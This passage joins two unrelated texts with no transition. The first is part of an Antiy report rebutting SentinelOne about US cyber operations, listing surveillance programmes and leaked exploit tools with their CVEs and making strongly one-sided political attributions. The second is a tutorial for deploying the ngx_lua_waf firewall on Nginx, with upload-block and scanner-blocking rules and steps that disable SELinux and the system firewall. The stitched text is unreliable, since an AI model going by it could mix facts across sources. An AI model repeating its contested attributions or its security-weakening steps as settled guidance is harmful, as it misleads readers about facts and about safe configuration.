2023年，安天曝光了“方程式”组织针对iOS的样本[9]，报告与卡巴斯基报告“三角测量行动”互动，分别曝光了美方通过“量子”系统劫持投放和基于手机iMessage服务漏洞投放攻击iOS手机的攻击方式。安天在报告中还发布了“量子”系统的攻击能力图谱和美方支撑攻击系统运行的关系图谱。 图 3‑7 “量子”系统可攻击场景图谱化分析（2023.6） 显然，SentinelOne报告的编写者可能没有认真阅读过中国企业发布的任何一篇APT分析报告，其研究习惯是：依托各安全机构报告的发布时间来进行关联推理，他们并未意识到（或者不愿意正视）在每一次的连锁接力中，中国网络安全厂商与其他国家同行所发布的是不同的成果；而且显然，他们缺乏深入分析APT事件的经验和形成重量级分析报告的能力，从而意识不到中国厂商能够在其他国际同行发布分析成果后迅速跟进、发布具有相关性的成果，其实是由于这些报告的主体部分早已形成，只是在等待发布的时机。我们笃定：对于2023年6月1日卡巴斯基所发布的“三角测量”行动报告和安天在6月9日所发布的“量子系统击穿苹果手机”报告，他们没有读懂。 因为很显然，除了目标都是iOS之外，卡巴斯基和安天讲述的是两组完全不同的攻击活动。卡巴斯基所曝光的攻击是基于iMessage投放的，而安天曝光的攻击是基于“量子”系统通过流量劫持投放的。在2023年6月1日发布报告时，卡巴斯基还没有展开样本分析，进行的是攻击流量和行为分析（卡巴斯基真正的样本分析成果发布于2023年12月），而安天曝光的是一个早期捕获的iOS样本的储备报告。这是两组独立的分析成果，我们只是为国际同行打了一个助攻而已。 4.拦截失控的分身 带给全球网络安全工作者巨大压力和干扰的，并不只是A2PT攻击本身。如果从事件的数量、攻击的范围这种统计学指标来看，美方对网络军备扩散的纵容和网络军火管理失控导致的网络黑产与犯罪给全球带来了更大的麻烦。 2015年，我们发现一例针对中国某机构的APT攻击事件[10]。从最开始捕获的加密数据包，到后来发现其利用注册表数据块完成的持久化，我们都以为这是一起A2PT组织发起的攻击，但直到将其导入到安天赛博超脑平台进行同源性比对后才发现：这是由美国企业发布的自动化攻击测试平台Cobalt Strike生成的攻击载荷，被利用来对我们发动攻击。 图 4‑1样本模块与Beacon生成模块的对比分析图(2015.5) 图 4‑2对Cobalt Strike创始人军事背景的分析（2015.5） 安天在报告中指出“网络空间已经存在严峻的网络军备扩散风险，超级大国能否合理控制自身网络军备发展的速度和规模，并对因自身未有效履行责任而使网络领域发生可能的军备扩散，进行有效的干预和控制，是我们能否达成一个更安全的网络世界的关键因素。” 结果一语成谶。时隔两年，美方便带给全球一次更大的麻烦，因美方的影子经纪人泄露事件导致使用“永恒之蓝”漏洞的WannaCry蠕虫事件，该蠕虫仅利用美国NSA“网络军火”中的“永恒之蓝”（Eternalblue）漏洞，就制造了一场遍及全球的巨大网络灾难。 尽管我们在2016年的网络安全威胁年报[11]中，对勒索病毒有可能和蠕虫合流的趋势做了预判，但我们并没有想到几个月后就以如此迅猛的方式表现。尽管如此，在针对WannaCry的溯源判断上，我们还是坚持了中国网络安全工作者的客观和严谨。虽然其使用的高级漏洞利用工具毫无疑问的来自美方的武器泄露，我们依然依靠WannaCry的历史样本同源等多组线索，向中国网络安全应急组织给出了我们对于WannaCry的来源判断，以及其并非由美方开发的结论。但这一结论并不意味着，包括中国用户在内的WannaCry受害者不需要追究美方网络军备失控的责任，包括这起事件让安天作为中国应急体系重要的企业节点，不得不展开72小时连续紧急响应，并支撑了长达数十天综合处置的投入。 图 4‑3安天响应WannaCry事件跟进时间表（2017.5） 而“影子经纪人”泄露带来的相关风险并非只有一个“永恒之蓝”，其每一个漏洞利用工具都对信息系统有着巨大风险，为此我们发布了关于系统化应对NSA网络军火装备的操作手册[12]并绘制了这些漏洞的风险图谱，见下图。 图 4‑4泄露的NSA网络军火装备与相关漏洞、系统版本关系图（2017.5） 回顾这些工作，有助于澄清对中国网络安全工作者分析APT攻击目标的刻板偏见。帮助自己的客户应对好安全威胁、防范好安全风险，才是我们工作的第一维度；指认攻击方和麻烦制造者，只是我们分析成果的价值之一。 5.绘出狰狞的全貌 A2PT攻击与其他网络攻击最大的不同，是其攻击活动并不是简单的漏洞与恶意代码的组合，而是依托庞大的情报工程体系进行的复杂作业。想要完整地理解A2PT攻击，就不可能不去分析这个庞大的工程体系，而显然这种分析从理论上就无法通过现场环境、样本、漏洞和战术利用来完成。 SentinelOne报告对中国网络安全工作者最滑稽的嘲笑，是认为我们的全部工作或者来自于对国际其他安全机构分析成果的跟进模仿，或者依赖于美方自己情报机构的破窗效应带来的一系列的信息泄露，包括斯诺登、“影子经纪人”、维基解密等等。从我们前面所介绍的经历，就可以看到中国网络安全工作者在分析工作中有自己独创的成果。但面对这些庞大的工程体系，如果没有斯诺登和维基解密，就不可能让世界人民看到这只鹰鹫的全貌。 2017年，安天发表系列文章，深度解析斯诺登泄露文件中的“星风”计划项目等。安天报告梳理了美方大量的信号情报获取项目和计划，分析美方通过大型海底光缆监听、重点特殊区域监听、计算机网络利用（CNE，即网络入侵）、卫星监听和第三方情报共享等方式，获取各类信号情报，实现对全球目标的完整画像，从而形成比较精准的目标定位能力，为美方从战略层面构建网络空间霸权到微观层面实施网络攻击，形成了超级工程支撑。 图 5-1 安天对“星风”计划项目结构分析（2018.3） 表 5‑1美方网空工程、项目、计划（2017.6） 中文名称 英文名称 功能/对象 情报体系 湍流架构 TURBULENCE 针对全球目标的自动化攻击和情报获取 风停 WINDSTOP 监听、获取数据 肌肉 MUSCULAR 海外窃听、获取数据 香炉 INCENSER 监听、获取数据 混乱系统 TURMOIL 被动情报收集系统 涡轮系统 TURBINE 主动情报收集系统 X关键得分项目 X-KEYSCORE 数据采集分析系统 梯队系统 ECHELON 情报收集并分析 公正观察 FAIRVIEW/US-990 获取电话元数据 风暴酝酿 STORMBREW/US-983 获取美国国境国际电缆、路由器和交换机数据 花言巧语 BLARNEY/US-984 获取全球网络情报数据 栎树明星 OAKSTAR 拦截电话和互联网通信数据 灯芯绒系统 PINWALE 收集和检索数字情报 主核 MAINCORE 针对外国手机用户的大众监视 舞动绿洲 DANCINGOASIS 监听欧洲、亚洲远东地区的光缆数据 海螺 SHELL TRUMPET 收集元数据 数字采集系统网 DCSNet 数据接入分析系统，监听、存储、分析美国本土手机、固定电话 精灵项目 GENIE 网络数据和信号情报获取，直接攻击 神秘计划 MYSTIC 拦截、存储和分析电话记录的数据系统 奔牛/边山 BULLRUN 监听加密数据，并解密 碟火 DISHFIRE 全球移动数据监控收集系统 细线 THINTHREAD 拦截并分析互联网流量 开拓者 TRAIBLAZER 获取数据并整理（2006年停止） 神奇灯笼 MAGIC LANTERN 键盘记录软件：获得加密软件的密码和密钥 食肉动物系统 CAMIVORE/DCS1000 获取ISP服务器数据 光塔 MINRET 监听反政府人士、反恐人士 棱镜项目 PRISM/US-984XN 监听、获取数据 主干道项目 MAINWAY 通信元数据收集 码头项目 MARINA 互联网元数据收集和分析 核子项目 NUCLEON 全球电话内容进行监听、分析和存储 特等舱 STATEROOM 拦截关于间谍行为、核武器、恐怖主义和毒品运输等敏感信息 老鹰哨兵 SENTRY EAGLE 信号情报收集，通过部署防御体系发现并报告异常网络活动 瑞晶 REGIN 高复合间谍软件，用于大规模数据采集和情报收集 拱形计划 CamberDADA 主要对以俄罗斯卡巴斯基公司等为主的目标进行监控，以获取新的病毒样本及其他信息。 陷入泥潭 DROPMIRE 监听欧盟驻华盛顿大使馆内的加密传真机 三叶草 SHAMROCK 为美国总统收集情报 滑翔桨手 SKIDROWE 针对外国卫星通信的信号情报作业项目 攻击体系 湍流架构 TURBULENCE 针对全球目标的自动化攻击和情报获取 量子项目 QUANTUM 攻击机制、入侵工具集 狐酸系统 FOXACID 能够以各种不同方式攻击目标计算机的系统，NSA的内部代号为“漏洞协调器” 精灵项目 GENIE 网络数据和信号情报获取，直接攻击 怪物大脑 MonsterMind 反入侵软件系统，开展自动化防御和攻击 支撑体系 优先 PREFER 碟火项目的配套分析工具 ICREACH架构 ICREACH 美国最大的情报系统，类似于谷歌的搜素引擎 无尽线人 Boundless Information 大数据分析、统计和展示平台 藏宝图 TREASUREMAP 提供通用网络作战图，态势感知等 计划/项目 星风计划 STELLARWIND 目标为美国本土和公民，主要收集元数据 上游项目 UPSTREAM 拦截来自互联网骨干网络（包括支持在美国内外通信的高容量电缆、交换机和路由器等）的电话和网络流量 石头鬼冢 Stone Ghost 五眼联盟国家间共享和交换数据 我们后续的工作是需要分析这些工程体系和A2PT攻击中的攻击平台、高级恶意代码、漏洞利用工具战术运用连接起来进行猜测分析。包括在前端攻击中值得关注的是信号设备，这些信号设备本质上不是一种传统的网络作业装备，是从传统的电磁作业装备传承而来的。也就是说，从美方情报机构来看，没有真正意义上的网络攻击的概念，美方只有情报作业和军事打击两个概念。所谓的“CNE/CE”只是其在众多体系和装备中的一个路径选择。 图 5‑2网络攻击的装备体系、支撑体系和作业方式图（2018.1） 除此以外，还需要关注这套体系的运营机制，包括它为什么可以获得如此丰沛的漏洞和技术。长期以来尽管有很多合理的猜测，但缺少深入的梳理，包括像Pwn2Own这样的黑客大赛活动与美方的情报机构到底有何关联。 图 5‑3 方程式组织的资源运营和作业关系图谱（2023.6） 基于泄露出来的海量信息对美方情报工程体系进行梳理分析，是中国安全从业者基于国际主义责任视角来完成的。通常来看，多数安全企业分析曝光攻击活动，更多的都是为了通过自身的威胁发现能力，推广自身的产品和服务。而显然如此庞大的体系攻击，需要构建高水平动态综合的防御体系和大量的资源投入，而不是简单部署产品和购买服务能防范的，我们将分析成果公开也是希望带来这些警示和提醒。 6.还原完整的现场 2024年初，有一些A2PT组织的历史攻击活动的细节被进一步曝光[13]，例如美国情报机构买通荷兰工程师，在赴伊朗进行工业系统安装维护过程中，向伊朗投放震网病毒。“美方进行的网络攻击在针对他国物理隔离体系、或高价值目标时，往往采用人力、电磁等手段对网络攻击进行辅助，有鲜明的混合作业特点。”显然攻击活动先天就不存在TCP/IP层面完整链条，面对这种混合攻击即使在内网捕获到了横向移动的数据包，本身也无法构成技术层面的指向作用。 同时，A2PT和APT的区别不只是前端利用漏洞和样本的复杂性，而是依托于巨大的作业方的体系，本身构筑了美方在网络攻击活动的作业形式，支撑了相关的反溯源性，构造了大量劫持第三方的武器，使美方可以将攻击流量混入到正常流量中去。同时也可以利用对海底光缆等劫持手段回收所窃取数据。显然A2PT的这种混合作业、无需在互联网闭环的范式，给了SentinelOne报告索要PCAP包证据的底气，如同一个恶霸对着被自己用枪打伤的被害人说，“来，你拿出我用刀砍你的证据”。 但终究这种混合作业并不是A2PT攻击活动的全部，也终有网络上完成的攻击作业闭环。美方自己的信息记录成为了铁证，正是依靠“影子经纪人”事件中泄露的信息，安天得以把泄露事件信息和历史样本分析结合到一起，完整复盘了“方程式组织”攻击中东最大的SWIFT金融服务提供商EastNets事件[14]。该分析报告在2019年6月发布，是全球网络安全业界分析曝光美方攻击活动中，首个完整还原美方攻击跳板、作业路径、装备运用、战术过程、场景环境和后果的分析报告。 图 6‑1“方程式组织”对EastNets网络的总体攻击过程复盘（2019.6） 安天在报告中总结了美方此次作业使用的攻击装备信息，根据功能目的分为漏洞利用工具和平台类、持久化植入武器类、控制后门类，并对武器功能、适用场景和关联漏洞进行描述，指出美方拥有覆盖全平台全系统的攻击能力和大量的0day储备。 表 6‑1方程式组织攻击EastNets所使用的漏洞利用工具列表（2019.6） 攻击装备名称 漏洞编号 针对设备及功能 未知装备A CVE-2015-7755 未知装备A是针对Juniper ScreenOS（Juniper SSG及NetScreen防火墙产品使用的操作系统）的漏洞攻击装备，在通过SSH与Telnet登录Juniper防火墙时存在身份认证绕过漏洞; EPICBANANA CVE-2016-6367 EPICBANANA是针对Cisco ASA and PIX设备中command-line interface (CLI)解析器的漏洞攻击装备; EXTRABACON CVE-2016-6366 EXTRABACON针对Cisco ASA 设备的SNMP服务（端口161、162）漏洞攻击装备; ENTERNALCHAMPION CVE-2017-0146 ENTERNALCHAMPION（永恒冠军）是针对Windows Server 2008 SP1 x86等的“永恒”系列漏洞攻击装备，利用Windows的SMBv1远程代码执行漏洞; ETERNALSYNERGY CVE-2017-0146 ETERNALSYNERGY（永恒协作）是针对Windows 8等的“永恒”系列漏洞攻击装备，利用Windows的SMBv1远程代码执行漏洞; ETERNALBLUE CVE-2017-0143 CVE-2017-0144 CVE-2017-0145 CVE-2017-0146 CVE-2017-0148 ETERNALBLUE（永恒之蓝）是针对Windows 7/8/XP等的“永恒”系列漏洞攻击装备，利用Windows的SMBv1远程代码执行漏洞; ETERNALROMANCE CVE-2017-0143 ETERNALROMANCE（永恒浪漫）是针对Windows XP、Vista 7、Windows Server 2003/2008/2008 R2等的“永恒”系列漏洞攻击装备，利用Windows全平台的SMBv1远程代码执行漏洞; EXPLODINGCAN  CVE-2017-7269 EXPLODINGCAN（爆炸之罐）是利用IIS6.0 webDAV漏洞的攻击装备; 世界上每个希望完整了解A2PT攻击威胁的人们，都可以阅读一下这篇复盘分析报告。 7.回到时间线——协力的前行 SentinelOne报告用时间线来展示全球网络安全机构对美方的成果发布轨迹，以证明中国厂商不具备首发性，只是对国际厂商的模仿，为了避免视而不见，安天也梳理并补全了其“疏忽遗漏”的安天方面的关键分析报告。时间轴上方是SentinelOne报告内的原始时间线，时间轴下方是其“疏忽遗漏”的我们的部分关键分析报告。我们也在每个时间点上标注了对应关键成果的价值，可以看到这个新的时间线产生了有趣的变化。 图 7‑1 SentinelOne梳理全球分析美方报告时间线及与“疏忽遗漏”安天报告对比 中国和世界上很多国家一样，都是A2PT攻击的受害者，中国的网络安全工作者和揭露过A2PT攻击的全球业界人士一样，都是与威胁斗争的战士。我们是战士，也是学生。我们一直高度认可国际先进厂商在早期分析工作中的表现和对我们所起到的指向作用，并一直对比检讨我们自己的差距。 表 7‑1安天在技术报告中反思自己在分析中与国际知名厂商的差距（2012.02） 时间阶段 时间 分析进展 ① 2010.06.17 Virusblokada上报样本 2010.07.13 Symantec检测样本为W32.Temphid 2010.07.15 Kaspersky三篇博文讨论LNK漏洞和签名驱动 2010.07.15 安天捕获第一个样本 2010.07.16 微软发布LNK漏洞预警 2010.07.16 Symantec博文介绍Stuxnet基本情况 2010.07.19 Kaspersky博文介绍LNK漏洞原理 2010.07.20 Symantec检测到C&C流量 2010.07.20 Kaspersky博文介绍Stuxnet的证书 2010.07.20 Symantec博文介绍Stuxnet传播方法 ② 2010.07.19 西门子报告Stuxnet攻击其SCADA系统 2010.07.23 Kaspersky发表系列博文Myrtus and Guava的第四篇和第五篇，开始研究工控系统 2010.08.06 Symantec发布博文称其是第一个针对工控系统的rootkit 2010.08.18 安天发布一篇样本分析报告 2010.09.21 Symantec发表博文介绍Stuxnet感染PLC的过程 2010.09.26 Kaspersky发布系列博文Myrtus and Guava，介绍与伊朗的关系 2010.09.26 Symantec发布博文，介绍Stuxnet感染Step7工程的方法 2010.09.27 安天发布第一版完整大报告 2010.09.30 Symantec在VB大会上演示PLC系统 2010.10.11 安天补充了一篇后续报告 ③ 2010.11.16 Symantec发布博文，称Stuxnet的攻击目标是伊朗某核电站中铀的浓缩设施 ④ 2011.02 Kaspersky公布对Stuxnet时间戳的关联分析 2011.12.28 Kaspersky公布Stuxnet与Duqu的关联分析 2012.01.23 安天完成关于WINCC对铀离心具体影响的有关分析 2012.01.23 安天完成Stuxnet与Duqu的同源性分析并发布报告 也正是在这种不断的反思中成长，我们逐渐取得了更多的分析成果。随着全球各方十多年来的努力，美方这头网空巨型鹰鹫逐渐在迷雾中显现出来。通过各方披露的组织机构、能力资源、网空工程体系、武器装备、作业手法和运营模式，可以看到美方网空攻击庞大的体系规模与深度的技术能力储备。在这场接力赛中，有人已经退场，欧美厂商早期披露曝光过美方网空样本，但在后续研究中不得不缄默其口。有人始终保持高水平的输出，卡巴斯基则保持始终如一的持续披露。而中国安全厂商也在不断跟进分析曝光中成长，中国安全企业贡献的分析成果已经占有越来越高的比例，在安全厂商和机构的共同努力下，这个庞然大物的全貌逐渐被拼接挖掘出来。 图 7‑2 已披露美方网空武器组成及各安全厂商披露占比 （安天根据赛博超脑平台积累的各方报告统计，如认为有统计问题，请与我们联系） 尽管自2010年“震网”事件被发现以来，各方对美方的分析曝光不断，但由于美方攻击体系极为庞大，很难独立形成完整分析成果。国际安全业界和研究者，协同接力分析曝光已成常态，分析成果相互补充或相互验证，这种集体协同分析的攻击活动与攻击体系更是全球网络安全学术界和业界对美方网络攻击的一种共同认定。我们梳理了当前全球网络安全机构对美网空能力及武器分析资料，以桑基图形式绘制了相关图谱，从下图可以看出全球网络安全机构彼此接力、协同分析美方间谍机构活动的分析历程，全球网空机构共同尝试解密美方的网空魔兽。 图 7‑3全球安全厂商对美网络攻击及活动分析梳理 （安天根据赛博超脑平台积累的各方报告统计，如认为有统计问题，请与我们联系） 图 7‑4全球安全厂商对美系列网络攻击活动分析梳理（甘特图形式） （安天根据赛博超脑平台积累的各方报告统计，如认为有统计问题，请与我们联系） 与这样的网空魔兽进行斗争，本身就需要莫大的勇气，也可能面临各种综合风险，我们的统计数据来自我们赛博超脑平台对各方分析报告成果的自动统计，可能并不完整，没有完整体现同仁的分析结果，我们会根据反馈修正。列举数据不是为了证明我们的能力有多强，而是为了说明：分析巨型鹰鹫，需多方协作、共同努力。 8. A2PT分析的意义和规律 APT的含义是高级持续性威胁，高级（Advanced）既说明攻击方的能力、资源、战术等要素，也是与攻击方与防御方之间的不对称性和“高度差”；持续性（Persistent）是攻击方战略意图甚至是战略定力的体现。这种持续不只包括在战术层面长期等待突防窗口的出现；达成持久化后，长期的维持控制连接和信息窃取；更表现为在长期战略下，面对防御和猎杀，反复地重新部署、调整以及攻击武器的升级，支撑攻击的工程体系不断迭代。APT生命周期可能长达数十年。 正因为APT是这样一个长期持续的作业过程，也使识别、塑造、防护、检测、响应等防御活动都必然是持续的迭代过程。基于线索和假设，通过动机、战术、武器、风险等方面的综合分析，深入了解威胁活动，改善防御部署、生产规则策略和威胁情报，提升安全产品和服务，才是我们进行APT分析工作的主要价值。 公布分析成果，曝光APT活动只是我们全局工作中的一个环节，是为了让客户和公众了解威胁形势，实现战略和技术情报的更大范围共享，在更大范围内做出响应，提升攻击者的成本。揭露和分析也不可能是一次性的工作。与此同时，为了更深入地发掘复杂攻击活动的规律特点，寻找脉络和关联，也必须将APT分析作为一种持续性的研究活动，在历史陈旧的海量样本和线索数据中与新的条件、样本进行关联，寻找关联、发现疑点、解答问题。因此，APT分析成果的价值，并不完全取决于谁先发布曝光了初始线索，也更多看谁能更持续地推动了防御能力迭代，谁能保持长期的研究定力。 显然，分析A2PT攻击，比分析通常意义上的APT攻击难度更大，需要更强的耐心定力、更大的资源投入、更强的分析能力。我们将来自美方情报机构的攻击称之为A2PT，是基于作业能力特点的总结。这并非我们的一家之言。我们来看来自国际研究者的说法。Mike Cloppert在Why Stuxnet Isn't APT[15]一文提的观点是“Stuxnet的复杂程度非常高。该代码相对难以进行逆向工程，包含一个PLC rootkit、多个零日漏洞以及可以在具有不同芯片组的处理器上运行的代码。通常情况下，APT入侵中的二进制文件相对简单，并且最常在客户端应用程序中利用单个漏洞。” 防御A2PT攻击是巨大的挑战，而曝光A2PT攻击同样是巨大的挑战。中国不只是网络攻击的受害者，在西方所把持的国际舆论场中，中国是一个弱势方。当中国网络安全企业孤独的发布一篇分析报告的时候，往往不会引发任何关注。我们在2014年前的分析成果莫不是如此。因此中国安全企业在取得分析成果后，往往不选择立即公开，而是等待国际研究者发布相关成果时再进行跟进，正是依靠沉淀和积累形成分析成果储备，在2015年后我们的分析报告才能快速紧随国际同行保持步伐一致。与此同时，中国文化是内敛自省的。中方机构不会像美方机构那样通过鼓吹受害去游说预算投入，也并不认为遭受攻击是一件值得宣扬的事情，因而我们在分析成果中也不会直接发布具体受害机构数据。 但在全球安全业界揭开这只巨大鹰鹫面纱的过程中，我们贡献了独有的价值和关键支点作用，是在整个斗争中接力的关键一棒。我们工作的首要目的并不是创造指控。对于安全企业自身，是改善产品的检测、防护能力，以提供更好的保护；对于面临A2PT风险的国家和地区来说，是深度认识这些攻击将带来怎样的风险，该怎样展开应对。 试图通过所谓的没有看到PCAP包就把早已揭开的恶行进行归零，是没有意义的。美方建设了全球最庞大的攻击基础设施，研发了覆盖全场景、全平台的网络攻击武器、构建了规模最大的网络攻击团队。不仅持续发动了一系列网络攻击，也实施了多起滥用供应链上游优势，预置脆弱性、削弱标准的恶意活动。美方应该做的是，主动承诺约束其网络空间攻击行为和监听行动，承诺不滥用供应链上游优势和数据采集能力，对其他国家做出安全保证，而不是自恃手段高明可规避受害方的发现来维护其持久的网络霸权。 9.小结：晨光终将射穿迷雾 SentinelOne报告包裹了太多的傲慢，作为一个显而易见的“旋转门”机构，我们深知其背后力量的强大；从“广场协议”到长臂管辖，从法国的阿尔斯通到中国的华为，当有任何一个民族因勤奋的耕耘取得了令鹰鹫艳羡的收获时，这个力量的打击就会如约而至，A2PT攻击只是这些打击活动中很小的一部分。但世界上没有任何一个机构或企业能够独立对抗这种攻击，即使是被视为欧洲网络安全最强力量的卡巴斯基，都至少遭遇了被NSA的CamberDaDa计划列为监听目标，被“毒曲2”入侵，源代码被窃取，关键人员iOS手机被植入木马等多波打击。 甚至可以说，不要说是一家安全企业，世界上多数国家的整个安全产业，都不足以对抗这个庞然大物。因此总有人试图提醒我们：这种力量的悬殊，就像原始部落的人类面对着奥林匹斯山上的诸神，让我们不要反抗，但我们依然希望解开A2PT攻击的真相。在东方的传说里，愚公终可以移走大山；在西方的神话里，普罗米修斯会把火种带到人间。而美国情报机构包括他们的“旋转门”机构就像来啄食普罗米修斯内脏的鹰鹫，不仅要持续伤害，还要束缚住被伤害者的双手，使之不得反抗。当施加伤害的一方将被害方能力的不足作为一种原罪来奚落的时候，我们看到的是两百年来的殖民者与侵略者习惯的傲慢，将被殖民、被侵略和被伤害者没有足够的反抗实力视为一种原罪。 当基于上帝模式作业，依托其庞大的情报工程体系、大规模建制化的攻击队伍、覆盖全平台全场景的攻击武器，基于人力、电磁和网空混合作业的A2PT攻击者，自以为可以“杀人于无形”，“事了拂衣去”，又反过来嘲笑被攻击方时，我们是不是读到了两百年来同样的剧本。 施害者不因施害的高明而高贵，反抗者不因反抗的艰难而卑微。 施加侵害是一种事实，遭遇伤害也是一种事实，这就是我们工作所还原的真相。 晨光终将射穿迷雾！ 附录一：参考资料 [1] China’s Cyber Revenge | Why the PRC Fails to Back Its Claims of Western Espionage https://www.SentinelOne.com/labs/chinas-cyber-revenge-why-the-prc-fails-to-back-its-claims-of-western-espionage/ [2]对Stuxnet蠕虫的后续分析报告 https://www.antiy.cn/research/notice&report/research_report/20101011.html [3]震网事件的九年再复盘与思考 https://www.antiy.com/response/20190930.html [4]Flame蠕虫样本集分析报告 https://www.antiy.com/response/flame/Analysis_on_the_Flame.html [5]探索Duqu木马身世之谜 https://www.antiy.cn/research/notice&report/research_report/261.html [6]修改硬盘固件的木马探索方程式（EQUATION）组织的攻击组件 https://www.antiy.com/response/EQUATION_ANTIY_REPORT.html [7]方程式（EQUATION）部分组件中的加密技巧分析 https://www.antiy.com/response/Equation_part_of_the_component_analysis_of_cryptographic_techniques.html [8]从“方程式”到“方程组”EQUATION攻击组织高级恶意代码的全平台能力解析 https://www.antiy.com/response/EQUATIONS/EQUATIONS.html [9]”量子“系统击穿苹果手机——方程式组织攻击IOS系统的历史样本分析 https://www.antiy.com/response/EQUATION_iOS_Malware_Analysis.html [10]一例针对中方机构的准APT攻击中所使用的样本分析 https://www.antiy.com/response/APT-TOCS.html [11]2016年网络安全威胁的回顾与展望 https://www.antiy.com/response/2016_Antiy_Annual_Security_Report.html [12]安天关于系统化应对NSA网络军火装备的操作手册 https://www.antiy.com/response/Antiy_Wannacry_NSA.html [13]Sabotage in Iran: een missie in duisternis https://www.volkskrant.nl/kijkverder/v/2024/sabotage-in-iran-een-missie-in-duisternis~v989743/ [14]“方程式组织”攻击SWIFT服务提供商EastNets事件复盘分析报告 https://www.antiy.com/response/20190601.html [15]Why Stuxnet Isn't APT https://www.sans.org/blog/why-stuxnet-isnt-apt/

0x01 前言 ngx_lua_waf实现 WAF一句话描述，就是解析HTTP请求（协议解析模块），规则检测（规则模块），做不同的防御动作（动作模块），并将防御过程（日志模块）记录下来。所以本文中的WAF的实现由五个模块(配置模块、协议解析模块、规则模块、动作模块、错误处理模块）组成。 原版本主要的功能如下： 1.防止sql注入，本地包含，部分溢出，fuzzing测试，xss,SSRF等web攻击 2.防止svn/备份之类文件泄漏 3.防止ApacheBench之类压力测试工具的攻击 4.屏蔽常见的扫描黑客工具，扫描器 5.屏蔽异常的网络请求 6.屏蔽图片附件类目录php执行权限 7.防止webshell上传 二次改造后的规则拦截功能： 1.支持IP白名单和黑名单功能，直接将黑名单的IP访问拒绝。 2.支持URL白名单，将不需要过滤的URL进行定义。 3.支持User-Agent的过滤，匹配自定义规则中的条目，然后进行处理（返回403）。 4.支持CC攻击防护，单个URL指定时间的访问次数，超过设定值，直接返回403。 5.支持Cookie过滤，匹配自定义规则中的条目，然后进行处理（返回403）。 6.支持URL过滤，匹配自定义规则中的条目，如果用户请求的URL包含这些，返回403。 7.支持URL参数过滤，原理同上。 8.支持日志记录，将所有拒绝的操作，记录到日志中去。 9.日志记录为JSON格式，便于日志分析，例如使用ELKStack进行攻击日志收集、存储、搜索和展示 0x02 Nginx + Lua部署 系统环境：centos7.0x64 1.进入到/usr/local/src目录下 [root@localhost src]# cd /usr/local/src 2.分别下载Nginx安装必备的Nginx和PCRE软件包以及当前最新的luajit和ngx_devel_kit (NDK)软件包和春哥编写的lua-nginx-module。 [root@localhost src]# wget http://nginx.org/download/nginx-1.9.4.tar.gz [root@localhost src]#wget https://ftp.pcre.org/pub/pcre/pcre-8.37.tar.gz --no-check-certificate [root@localhost src]#wget http://luajit.org/download/LuaJIT-2.0.4.tar.gz [root@localhost src]# wget https://github.com/openresty/lua-nginx-module/archive/v0.9.16.tar.gz --no-check-certificate [root@localhost src]# wget https://github.com/simpl/ngx_devel_kit/archive/v0.2.19.tar.gz --no-check-certificate 3. 创建Nginx运行的普通用户 [root@nginx-lua src]# useradd -s /sbin/nologin -M www 4.分别在当前目录下解压已下载的软件包 [root@localhost src]# tar zxvf v0.2.19.tar.gz [root@localhost src]# tar zxvf v0.9.16.tar.gz [root@localhost src]# tar zxvf pcre-8.37.tar.gz [root@localhost src]# tar zxvf LuaJIT-2.0.4.tar.gz 5. 安装Luajit以及需要编译的gcc编译环境。 [root@localhost src]# cd LuaJIT-2.0.3 [root@localhost src]#yum install gcc [root@localhost src]# make && make install 6. 安装Nginx并加载模块以及需要编译的openssl模块和c++模块。 [root@localhost LuaJIT-2.0.4]# cd .. [root@localhost src]# tar zxvfnginx-1.9.4.tar.gz [root@localhost src]# export LUAJIT_LIB=/usr/local/lib [root@localhost src]# export LUAJIT_INC=/usr/local/include/luajit-2.0 [root@localhost nginx-1.9.4]# yum -y install openssl openssl-devel [root@localhost nginx-1.9.4]# ./configure --prefix=/usr/local/nginx --user=www --group=www --with-http_ssl_module --with-http_stub_status_module --with-file-aio --with-http_dav_module --add-module=../ngx_devel_kit-0.2.19/ --add-module=../lua-nginx-module-0.9.16/ --with-pcre=/usr/local/src/pcre-8.37/ [root@localhost nginx-1.9.4]# yum -y install gcc-c++ [root@localhost nginx-1.9.4]# make -j2 && make install 7. 创建软连接动态库连接 [root@localhost nginx-1.9.4]# ln -s /usr/local/lib/libluajit-5.1.so.2 /lib64/libluajit-5.1.so.2 8.启动nginx服务 root@localhost nginx-1.9.4]# /usr/local/nginx/sbin/nginx-t [root@localhost nginx-1.9.4]# /usr/local/nginx/sbin/nginx 9关闭centos7自带的防火墙 [root@localhost nginx-1.9.4]# sed -i 7s/enforcing/disabled/ /etc/selinux/config [root@localhost nginx-1.9.4]# systemctl stop firewalld.service 10.远程访问http:// 172.16.89.145,显示页面如下，表示已成功安装nginx 11.安装git服务 [root@localhost src]# yum install git 12.克隆下载ngx_lua_waf, nginx安装路径假设为:/usr/local/nginx/conf/ 把ngx_lua_waf下载到conf目录下,解压命名为waf [root@localhost src]# git clone https://github.com/loveshell/ngx_lua_waf.git [root@localhost ngx_lua_waf]# cd /usr/local/nginx/conf/ [root@localhost conf]# mkdir waf [root@localhost ngx_lua_waf]#cp -R /usr/local/src/ngx_lua_waf/* /usr/local/nginx/conf/waf/ 注意，其主要目录信息如下： ├── config.lua #waf的配置文件 ├── init.lua #读取waf的规则文件 ├── install.sh #waf安装文件，需要做修改 ├── README.md #说明文档 ├── wafconf #规则库 │ ├── args #get请求的参数过滤规则 │ ├── cookie #cookie过滤规则 │ ├── post #post请求过滤规则 │ ├── url #get请求的URL过滤规则 │ ├── user-agent #user-agent过滤规则 │ └── whiteurl #白名单 └── waf.lua #waf规则执行文件 13.在nginx.conf中的http段进行配置 [root@localhost waf]# vi /usr/local/nginx/conf/nginx.conf 大概的配置信息如下,Nginx.conf: lua_package_path "/usr/local/nginx/conf/waf/?.lua"; lua_shared_dict limit 10m; init_by_lua_file/usr/local/nginx/conf/waf/init.lua; access_by_lua_file /usr/local/nginx/conf/waf/waf.lua; 14.修改ngx_lua_waf下的config.lua文件 root@localhost waf]# vi /usr/local/nginx/conf/waf/config.lua [root@localhost logs]# mkdir waf 配置详细信息如下,config.lua: RulePath = "/usr/local/nginx/conf/waf/wafconf/" --规则存放目录 attacklog = "off" --是否开启攻击信息记录，需要配置logdir logdir = "/usr/local/nginx/logs/waf/" --log存储目录，该目录需要用户自己新建，切需要nginx用户的可写权限 UrlDeny="on" --是否拦截url访问 Redirect="on" --是否拦截后重定向 CookieMatch = "on" --是否拦截cookie攻击 postMatch = "on" --是否拦截post攻击 whiteModule = "on" --是否开启URL白名单 black_fileExt={"php","jsp"} --填写不允许上传文件后缀类型 ipWhitelist={"127.0.0.1"} --ip白名单，多个ip用逗号分隔 